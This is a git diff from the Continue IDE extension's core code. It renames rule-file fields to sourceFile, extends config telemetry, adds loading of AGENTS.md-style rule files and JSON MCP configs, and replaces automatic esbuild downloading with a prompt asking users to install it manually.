convertRuleBlockToSlashCommand( description: rule.description ?? "", prompt: rule.rule, source: "invokable-rule", - promptFile: rule.ruleFile, + sourceFile: rule.sourceFile, + slug: rule.slug, }; } diff --git a/core/commands/slash/ruleBlockSlashCommand.vitest.ts b/core/commands/slash/ruleBlockSlashCommand.vitest.ts index ccbc2df4f..e4f7c087c 100644 --- a/core/commands/slash/ruleBlockSlashCommand.vitest.ts +++ b/core/commands/slash/ruleBlockSlashCommand.vitest.ts @@ -9,7 +9,7 @@ describe("convertRuleBlockToSlashCommand", () => { rule: "Review this code for best practices", description: "Performs a code review", source: "rules-block", - ruleFile: "/path/to/rules.yaml", + sourceFile: "file:///path/to/rules.yaml", invokable: true, }; @@ -20,7 +20,7 @@ describe("convertRuleBlockToSlashCommand", () => { description: "Performs a code review", prompt: "Review this code for best practices", source: "invokable-rule", - promptFile: "/path/to/rules.yaml", + sourceFile: "file:///path/to/rules.yaml", }); }); diff --git a/core/config/ConfigHandler.ts b/core/config/ConfigHandler.ts index 4127f2097..b3b48bb9d 100644 --- a/core/config/ConfigHandler.ts +++ b/core/config/ConfigHandler.ts @@ -537,12 +537,25 @@ export class ConfigHandler { // Track config loading telemetry const endTime = performance.now(); const duration = endTime - startTime; - void Telemetry.capture("config_reload", { + const isSignedIn = await this.controlPlaneClient.isSignedIn(); + + const profileDescription = this.currentProfile.profileDescription; + const telemetryData: Record = { duration, reason, totalConfigLoads: this.totalConfigReloads, configLoadInterrupted, - }); + profileType: profileDescription.profileType, + isPersonalOrg: this.currentOrg?.id === this.PERSONAL_ORG_DESC.id, + errorCount: errors.length, + isSignedIn, + }; + + void Telemetry.capture("config_reload", telemetryData); + + if (errors.length) { + Logger.error("Errors loading config: ", errors); + } return { config, @@ -594,10 +607,6 @@ export class ConfigHandler { const config = await this.currentProfile.loadConfig( this.additionalContextProviders, ); - - if (config.errors?.length) { - Logger.error("Errors loading config: ", config.errors); - } return config; } diff --git a/core/config/createNewAssistantFile.ts b/core/config/createNewAssistantFile.ts index 1a823b987..dc6ecceff 100644 --- a/core/config/createNewAssistantFile.ts +++ b/core/config/createNewAssistantFile.ts @@ -1,17 +1,14 @@ import { IDE } from ".."; import { joinPathsToUri } from "../util/uri"; -const DEFAULT_ASSISTANT_FILE = `# This is an example agent configuration file -# It is used to define custom AI agents within Continue -# Each agent file can be accessed by selecting it from the agent dropdown - +const DEFAULT_ASSISTANT_FILE = `# This is an example configuration file # To learn more, see the full config.yaml reference: https://docs.continue.dev/reference -name: Example Agent +name: Example Config version: 1.0.0 schema: v1 -# Models define which AI models this agent can use +# Define which models can be used # https://docs.continue.dev/customization/models models: - name: my gpt-5 @@ -23,7 +20,7 @@ models: with: ANTHROPIC_API_KEY: \${{ secrets.ANTHROPIC_API_KEY }} -# MCP Servers the agent can use +# MCP Servers that Continue can access # https://docs.continue.dev/customization/mcp-tools mcpServers: - uses: anthropic/memory-mcp @@ -50,7 +47,7 @@ export async function createNewAssistantFile( let assistantFileUri: string; do { const suffix = counter === 0 ? "" : `-${counter}`; - assistantFileUri = joinPathsToUri(baseDirUri, `new-agent${suffix}.yaml`); + assistantFileUri = joinPathsToUri(baseDirUri, `new-config${suffix}.yaml`); counter++; } while (await ide.fileExists(assistantFileUri)); diff --git a/core/config/default.ts b/core/config/default.ts index 1719cdc09..817bd791e 100644 --- a/core/config/default.ts +++ b/core/config/default.ts @@ -1,7 +1,7 @@ import { ConfigYaml } from "@continuedev/config-yaml"; export const defaultConfig: ConfigYaml = { - name: "Local Agent", + name: "Local Config", version: "1.0.0", schema: "v1", models: [], diff --git a/core/config/getWorkspaceContinueRuleDotFiles.ts b/core/config/getWorkspaceContinueRuleDotFiles.ts index 8a14d2405..52733e9d7 100644 --- a/core/config/getWorkspaceContinueRuleDotFiles.ts +++ b/core/config/getWorkspaceContinueRuleDotFiles.ts @@ -16,7 +16,7 @@ export async function getWorkspaceContinueRuleDotFiles(ide: IDE) { const content = await ide.readFile(dotFile); rules.push({ rule: content, - ruleFile: dotFile, + sourceFile: dotFile, source: ".continuerules", }); } diff --git a/core/config/load.ts b/core/config/load.ts index b7150fd4c..35d12d421 100644 --- a/core/config/load.ts +++ b/core/config/load.ts @@ -6,10 +6,10 @@ import path from "path"; import { ConfigResult, ConfigValidationError, + mergeConfigYamlRequestOptions, ModelRole, } from "@continuedev/config-yaml"; import * as JSONC from "comment-json"; -import * as tar from "tar"; import { BrowserSerializedContinueConfig, @@ -25,6 +25,7 @@ import { IdeType, ILLM, ILLMLogger, + InternalMcpOptions, LLMOptions, ModelDescription, RerankerDescription, @@ -57,9 +58,10 @@ import { } from "../util/paths"; import { localPathToUri } from "../util/pathToUri"; -import { PolicySingleton } from "../control-plane/PolicySingleton"; +import { loadJsonMcpConfigs } from "../context/mcp/json/loadJsonMcpConfigs"; import CustomContextProviderClass from "../context/providers/CustomContextProvider"; -import { getBaseToolDefinitions } from "../tools"; +import { PolicySingleton } from "../control-plane/PolicySingleton"; +import { getBaseToolDefinitions, serializeTool } from "../tools"; import { resolveRelativePathInDir } from "../util/ideUtils"; import { getWorkspaceRcConfigs } from "./json/loadRcConfigs"; import { loadConfigContextProviders } from "./loadContextProviders"; @@ -550,17 +552,27 @@ async function intermediateToFinalConfig({ if (orgPolicy?.policy?.allowMcpServers === false) { await mcpManager.shutdown(); } else { - mcpManager.setConnections( - (config.experimental?.modelContextProtocolServers ?? []).map( - (server, index) => ({ - id: `continue-mcp-server-${index + 1}`, - name: `MCP Server`, - ...server, - requestOptions: config.requestOptions, - }), + const mcpOptions: InternalMcpOptions[] = ( + config.experimental?.modelContextProtocolServers ?? [] + ).map((server, index) => ({ + id: `continue-mcp-server-${index + 1}`, + name: `MCP Server`, + requestOptions: mergeConfigYamlRequestOptions( + server.transport.type !== "stdio" + ? server.transport.requestOptions + : undefined, + config.requestOptions, ), - false, + ...server.transport, + })); + const { errors: jsonMcpErrors, mcpServers } = await loadJsonMcpConfigs( + ide, + true, + config.requestOptions, ); + errors.push(...jsonMcpErrors); + mcpOptions.push(...mcpServers); + mcpManager.setConnections(mcpOptions, false); } // Handle experimental modelRole config values for apply and edit @@ -659,7 +671,7 @@ async function finalToBrowserConfig( experimental: final.experimental, rules: final.rules, docs: final.docs, - tools: final.tools, + tools: final.tools.map(serializeTool), mcpServerStatuses: final.mcpServerStatuses, tabAutocompleteOptions: final.tabAutocompleteOptions, usePlatform: await useHub(ide.getIdeSettings()), @@ -683,102 +695,43 @@ function escapeSpacesInPath(p: string): string { return p.replace(/ /g, "\\ "); } -async function handleEsbuildInstallation(ide: IDE, ideType: IdeType) { - // JetBrains is currently the only IDE that we've reached the plugin size limit and - // therefore need to install esbuild manually to reduce the size - if (ideType !== "jetbrains") { - return; - } - - const globalContext = new GlobalContext(); - if (globalContext.get("hasDismissedConfigTsNoticeJetBrains")) { - return; - } - - const esbuildPath = getEsbuildBinaryPath(); - - if (fs.existsSync(esbuildPath)) { - return; - } - - console.debug("No esbuild binary detected"); - - const shouldInstall = await promptEsbuildInstallation(ide); - - if (shouldInstall) { - await downloadAndInstallEsbuild(ide); - } -} - -async function promptEsbuildInstallation(ide: IDE): Promise { - const installMsg = "Install esbuild"; - const dismissMsg = "Dismiss"; - - const res = await ide.showToast( - "warning", - "You're using a custom 'config.ts' file, which requires 'esbuild' to be installed. Would you like to install it now?", - dismissMsg, - installMsg, - ); - - if (res === dismissMsg) { - const globalContext = new GlobalContext(); - globalContext.update("hasDismissedConfigTsNoticeJetBrains", true); - return false; - } - - return res === installMsg; -} - -/** - * The download logic is adapted from here: https://esbuild.github.io/getting-started/#download-a-build - */ -async function downloadAndInstallEsbuild(ide: IDE) { - const esbuildPath = getEsbuildBinaryPath(); - const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "esbuild-")); +async function handleEsbuildInstallation( + ide: IDE, + _ideType: IdeType, +): Promise { + // Only check when config.ts is going to be used; never auto-install. + const installCmd = "npm i esbuild@x.x.x --prefix ~/.continue"; + // Try to detect a user-installed esbuild (normal resolution) try { - const target = `${os.platform()}-${os.arch()}`; - const version = "0.19.11"; - const url = `https://registry.npmjs.org/@esbuild/${target}/-/${target}-${version}.tgz`; - const tgzPath = path.join(tempDir, `esbuild-${version}.tgz`); - - console.debug(`Downloading esbuild from: ${url}`); - execSync(`curl -fo "${tgzPath}" "${url}"`); - - console.debug(`Extracting tgz file to: ${tempDir}`); - await tar.x({ - file: tgzPath, - cwd: tempDir, - strip: 2, // Remove the top two levels of directories - }); - - // Ensure the destination directory exists - const destDir = path.dirname(esbuildPath); - if (!fs.existsSync(destDir)) { - fs.mkdirSync(destDir, { recursive: true }); + await import("esbuild"); + return true; // available + } catch { + // Try resolving from ~/.continue/node_modules as a courtesy + try { + const userEsbuild = path.join( + os.homedir(), + ".continue", + "node_modules", + "esbuild", + ); + const candidate = require.resolve("esbuild", { paths: [userEsbuild] }); + // eslint-disable-next-line @typescript-eslint/no-var-requires + require(candidate); + return true; // available via ~/.continue + } catch { + // Not available → show friendly instructions and opt out of building + await ide.showToast( + "error", + [ + "config.ts has been deprecated and esbuild is no longer automatically installed by Continue.", + "To use config.ts, install esbuild manually:", + "", + ` ${installCmd}`, + ].join("\n"), + ); + return false; } - - // Move the file - const extractedBinaryPath = path.join(tempDir, "esbuild"); - fs.renameSync(extractedBinaryPath, esbuildPath); - - // Ensure the binary is executable (not needed on Windows) - if (os.platform() !== "win32") { - fs.chmodSync(esbuildPath, 0o755); - } - - // Clean up - fs.unlinkSync(tgzPath); - fs.rmSync(tempDir, { recursive: true }); - - await ide.showToast( - "info", - `'esbuild' successfully installed to ${esbuildPath}`, - ); - } catch (error) { - console.error("Error downloading or saving esbuild binary:", error); - throw error; } } @@ -853,8 +806,15 @@ async function buildConfigTsandReadConfigJs(ide: IDE, ideType: IdeType) { return; } - await handleEsbuildInstallation(ide, ideType); - await tryBuildConfigTs(); + // Only bother with esbuild if config.ts is actually customized + if (currentContent.trim() !== DEFAULT_CONFIG_TS_CONTENTS.trim()) { + const ok = await handleEsbuildInstallation(ide, ideType); + if (!ok) { + // esbuild not available → we already showed a friendly message; skip building + return; + } + await tryBuildConfigTs(); + } return readConfigJs(); } diff --git a/core/config/loadLocalAssistants.ts b/core/config/loadLocalAssistants.ts index 2a8135dc1..f0d96cbf4 100644 --- a/core/config/loadLocalAssistants.ts +++ b/core/config/loadLocalAssistants.ts @@ -1,3 +1,4 @@ +import { BLOCK_TYPES } from "@continuedev/config-yaml"; import ignore from "ignore"; import * as URI from "uri-js"; import { IDE } from ".."; @@ -6,12 +7,31 @@ import { DEFAULT_IGNORE_FILETYPES, } from "../indexing/ignore"; import { walkDir } from "../indexing/walkDir"; +import { RULES_MARKDOWN_FILENAME } from "../llm/rules/constants"; import { getGlobalFolderWithName } from "../util/paths"; import { localPathToUri } from "../util/pathToUri"; -import { joinPathsToUri } from "../util/uri"; +import { getUriPathBasename, joinPathsToUri } from "../util/uri"; +import { SYSTEM_PROMPT_DOT_FILE } from "./getWorkspaceContinueRuleDotFiles"; +import { SUPPORTED_AGENT_FILES } from "./markdown"; +export function isContinueConfigRelatedUri(uri: string): boolean { + return ( + uri.endsWith(".continuerc.json") || + uri.endsWith(".prompt") || + !!SUPPORTED_AGENT_FILES.find((file) => uri.endsWith(`/${file}`)) || + uri.endsWith(SYSTEM_PROMPT_DOT_FILE) || + (uri.includes(".continue") && + (uri.endsWith(".yaml") || + uri.endsWith(".yml") || + uri.endsWith(".json"))) || + [...BLOCK_TYPES, "agents", "assistants"].some((blockType) => + uri.includes(`.continue/${blockType}`), + ) + ); +} -export function isLocalDefinitionFile(uri: string): boolean { - if (!uri.endsWith(".yaml") && !uri.endsWith(".yml") && !uri.endsWith(".md")) { +export function isContinueAgentConfigFile(uri: string): boolean { + const isYaml = uri.endsWith(".yaml") || uri.endsWith(".yml"); + if (!isYaml) { return false; } @@ -22,6 +42,10 @@ export function isLocalDefinitionFile(uri: string): boolean { ); } +export function isColocatedRulesFile(uri: string): boolean { + return getUriPathBasename(uri) === RULES_MARKDOWN_FILENAME; +} + async function getDefinitionFilesInDir( ide: IDE, dir: string, diff --git a/core/config/markdown/loadCodebaseRules.ts b/core/config/markdown/loadCodebaseRules.ts index dc6696576..386bb0527 100644 --- a/core/config/markdown/loadCodebaseRules.ts +++ b/core/config/markdown/loadCodebaseRules.ts @@ -26,20 +26,30 @@ export class CodebaseRulesCache { } async update(ide: IDE, uri: string) { const content = await ide.readFile(uri); - const { relativePathOrBasename } = findUriInDirs( + const workspaceDirs = await ide.getWorkspaceDirs(); + const { relativePathOrBasename, foundInDir } = findUriInDirs( uri, - await ide.getWorkspaceDirs(), + workspaceDirs, + ); + if (!foundInDir) { + console.warn( + `Failed to load codebase rule ${uri}: URI not found in workspace`, + ); + } + const rule = markdownToRule( + content, + { + uriType: "file", + fileUri: uri, + }, + relativePathOrBasename, ); - const rule = markdownToRule(content, { - uriType: "file", - fileUri: relativePathOrBasename, - }); const ruleWithSource: RuleWithSource = { ...rule, source: "colocated-markdown", - ruleFile: uri, + sourceFile: uri, }; - const matchIdx = this.rules.findIndex((r) => r.ruleFile === uri); + const matchIdx = this.rules.findIndex((r) => r.sourceFile === uri); if (matchIdx === -1) { this.rules.push(ruleWithSource); } else { @@ -47,7 +57,7 @@ export class CodebaseRulesCache { } } remove(uri: string) { - this.rules = this.rules.filter((r) => r.ruleFile !== uri); + this.rules = this.rules.filter((r) => r.sourceFile !== uri); } } @@ -75,20 +85,32 @@ export async function loadCodebaseRules(ide: IDE): Promise<{ for (const filePath of rulesMdFiles) { try { const content = await ide.readFile(filePath); - const { relativePathOrBasename } = findUriInDirs( + const { relativePathOrBasename, foundInDir, uri } = findUriInDirs( filePath, await ide.getWorkspaceDirs(), ); - const rule = markdownToRule(content, { - uriType: "file", - fileUri: relativePathOrBasename, - }); + if (foundInDir) { + const lastSlashIndex = relativePathOrBasename.lastIndexOf("/"); + const parentDir = relativePathOrBasename.substring(0, lastSlashIndex); + const rule = markdownToRule( + content, + { + uriType: "file", + fileUri: uri, + }, + parentDir, + ); - rules.push({ - ...rule, - source: "colocated-markdown", - ruleFile: filePath, - }); + rules.push({ + ...rule, + source: "colocated-markdown", + sourceFile: filePath, + }); + } else { + console.warn( + `Failed to load codebase rule ${uri}: URI not found in workspace dirs`, + ); + } } catch (e) { errors.push({ fatal: false, diff --git a/core/config/markdown/loadCodebaseRules.vitest.ts b/core/config/markdown/loadCodebaseRules.vitest.ts index 74da02684..81364830a 100644 --- a/core/config/markdown/loadCodebaseRules.vitest.ts +++ b/core/config/markdown/loadCodebaseRules.vitest.ts @@ -2,7 +2,6 @@ import { markdownToRule } from "@continuedev/config-yaml"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { IDE } from "../.."; import { walkDirs } from "../../indexing/walkDir"; -import { findUriInDirs, getUriPathBasename } from "../../util/uri"; import { loadCodebaseRules } from "./loadCodebaseRules"; // Mock dependencies @@ -14,14 +13,10 @@ vi.mock("@continuedev/config-yaml", () => ({ markdownToRule: vi.fn(), })); -vi.mock("../../util/uri", () => ({ - findUriInDirs: vi.fn(), - getUriPathBasename: vi.fn(), -})); - describe("loadCodebaseRules", () => { // Mock IDE with properly typed mock functions const mockIde = { + fileExists: vi.fn().mockImplementation(() => true), readFile: vi.fn() as unknown as IDE["readFile"] & { mockImplementation: Function; }, @@ -30,52 +25,45 @@ describe("loadCodebaseRules", () => { }, } as unknown as IDE; - // Setup test files - const mockFiles = [ - "src/rules.md", - "src/redux/rules.md", - "src/components/rules.md", - "src/utils/helper.ts", // Non-rules file - ".continue/rules.md", // This should also be loaded - ]; - // Mock rule content const mockRuleContent: Record = { - "src/rules.md": "# General Rules\nFollow coding standards", - "src/redux/rules.md": + "file:///workspace/src/rules.md": + "# General Rules\nFollow coding standards", + "file:///workspace/src/redux/rules.md": '---\nglobs: "**/*.{ts,tsx}"\n---\n# Redux Rules\nUse Redux Toolkit', - "src/components/rules.md": + "file:///workspace/src/components/rules.md": '---\nglobs: ["**/*.tsx", "**/*.jsx"]\n---\n# Component Rules\nUse functional components', - ".continue/rules.md": "# Global Rules\nFollow project guidelines", + "file:///workspace/.continue/rules.md": + "# Global Rules\nFollow project guidelines", }; // Mock converted rules const mockConvertedRules: Record = { - "src/rules.md": { + "file:///workspace/src/rules.md": { name: "General Rules", rule: "Follow coding standards", source: "colocated-markdown", - ruleFile: "src/rules.md", + sourceFile: "file:///workspace/src/rules.md", }, - "src/redux/rules.md": { + "file:///workspace/src/redux/rules.md": { name: "Redux Rules", rule: "Use Redux Toolkit", globs: "**/*.{ts,tsx}", source: "colocated-markdown", - ruleFile: "src/redux/rules.md", + sourceFile: "file:///workspace/src/redux/rules.md", }, - "src/components/rules.md": { + "file:///workspace/src/components/rules.md": { name: "Component Rules", rule: "Use functional components", globs: ["**/*.tsx", "**/*.jsx"], source: "colocated-markdown", - ruleFile: "src/components/rules.md", + sourceFile: "file:///workspace/src/components/rules.md", }, - ".continue/rules.md": { + "file:///workspace/.continue/rules.md": { name: "Global Rules", rule: "Follow project guidelines", source: "colocated-markdown", - ruleFile: ".continue/rules.md", + sourceFile: "file:///workspace/.continue/rules.md", }, }; @@ -84,20 +72,13 @@ describe("loadCodebaseRules", () => { vi.resetAllMocks(); // Mock walkDirs to return our test files - (walkDirs as any).mockResolvedValue(mockFiles); + (walkDirs as any).mockResolvedValue([ + ...Object.keys(mockRuleContent), + "file:///workspace/src/utils/helper.ts", // Non-rules file + ]); // Mock getWorkspaceDirs to return a workspace directory - (mockIde.getWorkspaceDirs as any).mockResolvedValue(["/workspace"]); - - // Mock getUriPathBasename to return just the filename - (getUriPathBasename as any).mockImplementation((path: string) => { - return path.split("/").pop() || ""; - }); - - // Mock findUriInDirs to return relative path - (findUriInDirs as any).mockImplementation((uri: string) => { - return { relativePathOrBasename: uri }; - }); + (mockIde.getWorkspaceDirs as any).mockResolvedValue(["file:///workspace"]); // Mock readFile to return content based on path (mockIde.readFile as any).mockImplementation((path: string) => { @@ -123,20 +104,36 @@ describe("loadCodebaseRules", () => { // Should read all rules.md files expect(mockIde.readFile).toHaveBeenCalledTimes(4); - expect(mockIde.readFile).toHaveBeenCalledWith("src/rules.md"); - expect(mockIde.readFile).toHaveBeenCalledWith("src/redux/rules.md"); - expect(mockIde.readFile).toHaveBeenCalledWith("src/components/rules.md"); - expect(mockIde.readFile).toHaveBeenCalledWith(".continue/rules.md"); + expect(mockIde.readFile).toHaveBeenCalledWith( + "file:///workspace/src/rules.md", + ); + expect(mockIde.readFile).toHaveBeenCalledWith( + "file:///workspace/src/redux/rules.md", + ); + expect(mockIde.readFile).toHaveBeenCalledWith( + "file:///workspace/src/components/rules.md", + ); + expect(mockIde.readFile).toHaveBeenCalledWith( + "file:///workspace/.continue/rules.md", + ); // Should convert all rules expect(markdownToRule).toHaveBeenCalledTimes(4); // Should return all rules expect(rules).toHaveLength(4); - expect(rules).toContainEqual(mockConvertedRules["src/rules.md"]); - expect(rules).toContainEqual(mockConvertedRules["src/redux/rules.md"]); - expect(rules).toContainEqual(mockConvertedRules["src/components/rules.md"]); - expect(rules).toContainEqual(mockConvertedRules[".continue/rules.md"]); + expect(rules).toContainEqual( + mockConvertedRules["file:///workspace/src/rules.md"], + ); + expect(rules).toContainEqual( + mockConvertedRules["file:///workspace/src/redux/rules.md"], + ); + expect(rules).toContainEqual( + mockConvertedRules["file:///workspace/src/components/rules.md"], + ); + expect(rules).toContainEqual( + mockConvertedRules["file:///workspace/.continue/rules.md"], + ); // Should not have errors expect(errors).toHaveLength(0); @@ -145,7 +142,7 @@ describe("loadCodebaseRules", () => { it("should handle errors when reading a rule file", async () => { // Setup mock to throw for a specific file (mockIde.readFile as any).mockImplementation((path: string) => { - if (path === "src/redux/rules.md") { + if (path === "file:///workspace/src/redux/rules.md") { return Promise.reject(new Error("Failed to read file")); } return Promise.resolve(mockRuleContent[path] || ""); @@ -155,14 +152,20 @@ describe("loadCodebaseRules", () => { // Should still return other rules expect(rules).toHaveLength(3); - expect(rules).toContainEqual(mockConvertedRules["src/rules.md"]); - expect(rules).toContainEqual(mockConvertedRules["src/components/rules.md"]); - expect(rules).toContainEqual(mockConvertedRules[".continue/rules.md"]); + expect(rules).toContainEqual( + mockConvertedRules["file:///workspace/src/rules.md"], + ); + expect(rules).toContainEqual( + mockConvertedRules["file:///workspace/src/components/rules.md"], + ); + expect(rules).toContainEqual( + mockConvertedRules["file:///workspace/.continue/rules.md"], + ); // Should have one error expect(errors).toHaveLength(1); expect(errors[0].message).toContain( - "Failed to parse colocated rule file src/redux/rules.md", + "Failed to parse colocated rule file file:///workspace/src/redux/rules.md: Failed to read file", ); }); diff --git a/core/config/markdown/loadMarkdownRules.ts b/core/config/markdown/loadMarkdownRules.ts index 1ee771c05..d77313b92 100644 --- a/core/config/markdown/loadMarkdownRules.ts +++ b/core/config/markdown/loadMarkdownRules.ts @@ -3,11 +3,14 @@ import { markdownToRule, } from "@continuedev/config-yaml"; import { IDE, RuleWithSource } from "../.."; -import { findUriInDirs } from "../../util/uri"; +import { PROMPTS_DIR_NAME, RULES_DIR_NAME } from "../../promptFiles"; +import { joinPathsToUri } from "../../util/uri"; import { getAllDotContinueDefinitionFiles } from "../loadLocalAssistants"; +export const SUPPORTED_AGENT_FILES = ["AGENTS.md", "AGENT.md", "CLAUDE.md"]; /** - * Loads rules from markdown files in the .continue/rules directory + * Loads rules from markdown files in the .continue/rules and .continue/prompts directories + * and agent files (AGENTS.md, AGENT.md, CLAUDE.md) at workspace root */ export async function loadMarkdownRules(ide: IDE): Promise<{ rules: RuleWithSource[]; @@ -16,41 +19,86 @@ export async function loadMarkdownRules(ide: IDE): Promise<{ const errors: ConfigValidationError[] = []; const rules: RuleWithSource[] = []; - try { - // Get all .md files from .continue/rules - const markdownFiles = await getAllDotContinueDefinitionFiles( - ide, - { includeGlobal: true, includeWorkspace: true, fileExtType: "markdown" }, - "rules", - ); + // First, try to load agent files from workspace root + const workspaceDirs = await ide.getWorkspaceDirs(); - // Filter to just .md files - const mdFiles = markdownFiles.filter((file) => file.path.endsWith(".md")); - - // Process each markdown file - for (const file of mdFiles) { + for (const workspaceDir of workspaceDirs) { + let agentFileFound = false; + for (const fileName of SUPPORTED_AGENT_FILES) { try { - const { relativePathOrBasename } = findUriInDirs( - file.path, - await ide.getWorkspaceDirs(), - ); - const rule = markdownToRule(file.content, { - uriType: "file", - fileUri: relativePathOrBasename, - }); - rules.push({ ...rule, source: "rules-block", ruleFile: file.path }); + const agentFileUri = joinPathsToUri(workspaceDir, fileName); + const exists = await ide.fileExists(agentFileUri); + if (exists) { + const agentContent = await ide.readFile(agentFileUri); + + const rule = markdownToRule(agentContent, { + uriType: "file", + fileUri: agentFileUri, + }); + rules.push({ + ...rule, + source: "agentFile", + sourceFile: agentFileUri, + alwaysApply: true, + }); + agentFileFound = true; + } + + break; // Use the first found agent file in this workspace } catch (e) { - errors.push({ - fatal: false, - message: `Failed to parse markdown rule file ${file.path}: ${e instanceof Error ? e.message : e}`, - }); + // File doesn't exist or can't be read, continue to next file } } - } catch (e) { - errors.push({ - fatal: false, - message: `Error loading markdown rule files: ${e instanceof Error ? e.message : e}`, - }); + if (agentFileFound) { + break; // Use agent file from first workspace that has one + } + } + + // Load markdown files from both .continue/rules and .continue/prompts + const dirsToCheck = [RULES_DIR_NAME, PROMPTS_DIR_NAME]; + + for (const dirName of dirsToCheck) { + try { + const markdownFiles = await getAllDotContinueDefinitionFiles( + ide, + { + includeGlobal: true, + includeWorkspace: true, + fileExtType: "markdown", + }, + dirName, + ); + + // Filter to just .md files + const mdFiles = markdownFiles.filter((file) => file.path.endsWith(".md")); + + // Process each markdown file + for (const file of mdFiles) { + try { + const rule = markdownToRule(file.content, { + uriType: "file", + fileUri: file.path, + }); + if (!rule.invokable) { + rules.push({ + ...rule, + source: "rules-block", + sourceFile: file.path, + }); + } + } catch (e) { + errors.push({ + fatal: false, + message: `Failed to parse markdown rule file ${file.path}: ${e instanceof Error ? e.message : e}`, + }); + } + } + } catch (e) { + errors.push({ + fatal: false, + message: `Error loading markdown rule files from ${dirName}: ${e instanceof Error ? e.message : e}`, + }); + } } return { rules, errors }; diff --git a/core/config/markdown/ruleCollocationApplication.vitest.ts b/core/config/markdown/ruleCollocationApplication.vitest.ts index 120e2d6a1..439d337ca 100644 --- a/core/config/markdown/ruleCollocationApplication.vitest.ts +++ b/core/config/markdown/ruleCollocationApplication.vitest.ts @@ -17,7 +17,7 @@ describe("Rule Colocation Application", () => { name: "Root Rule", rule: "Follow project standards", source: "colocated-markdown", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", }, // Nested directory rule without globs - should only apply to files in that directory @@ -25,7 +25,7 @@ describe("Rule Colocation Application", () => { name: "React Components Rule", rule: "Use functional components with hooks", source: "colocated-markdown", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", // No explicit globs - should implicitly only apply to files in that directory }, @@ -35,7 +35,7 @@ describe("Rule Colocation Application", () => { rule: "Use Redux Toolkit for state management", globs: "src/redux/**/*.{ts,tsx}", source: "colocated-markdown", - ruleFile: "src/redux/rules.md", + sourceFile: "src/redux/rules.md", }, // Directory rule with specific file extension glob @@ -44,7 +44,7 @@ describe("Rule Colocation Application", () => { rule: "Use TypeScript with React components", globs: "**/*.tsx", // Only apply to .tsx files source: "colocated-markdown", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", }, // Rule for a specific subdirectory with its own glob @@ -53,7 +53,7 @@ describe("Rule Colocation Application", () => { rule: "Follow API utility conventions", globs: "**/*.ts", // Only TypeScript files in this directory source: "colocated-markdown", - ruleFile: "src/utils/api/rules.md", + sourceFile: "src/utils/api/rules.md", }, ]; @@ -184,7 +184,7 @@ describe("Rule Colocation Application", () => { name: "Implied Components Rule", rule: "Use React component best practices", source: "colocated-markdown", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", // No explicit globs - should infer from directory }; @@ -234,7 +234,7 @@ describe("Rule Colocation Application", () => { rule: "Use TypeScript with React components", globs: "**/*.tsx", // Only apply to .tsx files source: "colocated-markdown", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", }; // Test with TSX component file - should apply @@ -281,7 +281,7 @@ describe("Rule Colocation Application", () => { rule: "Follow API utility conventions", globs: "**/*.ts", // Only TypeScript files in this directory source: "colocated-markdown", - ruleFile: "src/utils/api/rules.md", + sourceFile: "src/utils/api/rules.md", }; // Test with file in the API utils directory - should apply @@ -314,9 +314,9 @@ describe("Rule Colocation Application", () => { // it should automatically create an implicit glob pattern for that directory. function createRuleWithAutomaticGlobInference( - ruleFilePath: string, + sourceFilePath: string, ): RuleWithSource { - const directory = path.dirname(ruleFilePath); + const directory = path.dirname(sourceFilePath); // The expected behavior would be to create an implicit glob like this: const expectedGlob = `${directory}/**/*`; @@ -324,7 +324,7 @@ describe("Rule Colocation Application", () => { name: `Inferred Rule for ${directory}`, rule: `Follow standards for ${directory}`, source: "colocated-markdown", - ruleFile: ruleFilePath, + sourceFile: sourceFilePath, // In a fixed implementation, these globs would be automatically inferred // globs: expectedGlob, }; diff --git a/core/config/markdown/utils.ts b/core/config/markdown/utils.ts index 5fbade09b..df64a75be 100644 --- a/core/config/markdown/utils.ts +++ b/core/config/markdown/utils.ts @@ -4,6 +4,15 @@ import { } from "@continuedev/config-yaml"; import { joinPathsToUri } from "../../util/uri"; +function createRelativeRuleFilePathParts(ruleName: string): string[] { + const safeRuleName = sanitizeRuleName(ruleName); + return [".continue", "rules", `${safeRuleName}.${RULE_FILE_EXTENSION}`]; +} + +export function createRelativeRuleFilePath(ruleName: string): string { + return createRelativeRuleFilePathParts(ruleName).join("/"); +} + /** * Creates the file path for a rule in the workspace .continue/rules directory */ @@ -11,11 +20,8 @@ export function createRuleFilePath( workspaceDir: string, ruleName: string, ): string { - const safeRuleName = sanitizeRuleName(ruleName); return joinPathsToUri( workspaceDir, - ".continue", - "rules", - `${safeRuleName}.${RULE_FILE_EXTENSION}`, + ...createRelativeRuleFilePathParts(ruleName), ); } diff --git a/core/config/migrateSharedConfig.ts b/core/config/migrateSharedConfig.ts index e27a631dc..8b18b4142 100644 --- a/core/config/migrateSharedConfig.ts +++ b/core/config/migrateSharedConfig.ts @@ -173,13 +173,6 @@ export function migrateJsonSharedConfig(filepath: string, ide: IDE): void { effected = true; } - const { autoAcceptEditToolDiffs, ...withoutAutoApply } = migratedUI; - if (autoAcceptEditToolDiffs !== undefined) { - shareConfigUpdates.autoAcceptEditToolDiffs = autoAcceptEditToolDiffs; - migratedUI = withoutAutoApply; - effected = true; - } - const { showChatScrollbar, ...withoutShowChatScrollbar } = migratedUI; if (showChatScrollbar !== undefined) { shareConfigUpdates.showChatScrollbar = showChatScrollbar; diff --git a/core/config/profile/LocalProfileLoader.ts b/core/config/profile/LocalProfileLoader.ts index 9c5345fbd..9c57ae94c 100644 --- a/core/config/profile/LocalProfileLoader.ts +++ b/core/config/profile/LocalProfileLoader.ts @@ -32,7 +32,7 @@ export default class LocalProfileLoader implements IProfileLoader { iconUrl: "", title: overrideAssistantFile?.path ? getUriPathBasename(overrideAssistantFile.path) - : "Local Agent", + : "Local Config", errors: undefined, uri: overrideAssistantFile?.path ?? @@ -47,7 +47,7 @@ export default class LocalProfileLoader implements IProfileLoader { ); this.description.title = parsedAssistant.name; } catch (e) { - console.error("Failed to parse agent file: ", e); + console.error("Failed to parse config file: ", e); } } } diff --git a/core/config/profile/doLoadConfig.ts b/core/config/profile/doLoadConfig.ts index 693fde2a2..97011a77c 100644 --- a/core/config/profile/doLoadConfig.ts +++ b/core/config/profile/doLoadConfig.ts @@ -18,6 +18,7 @@ import { 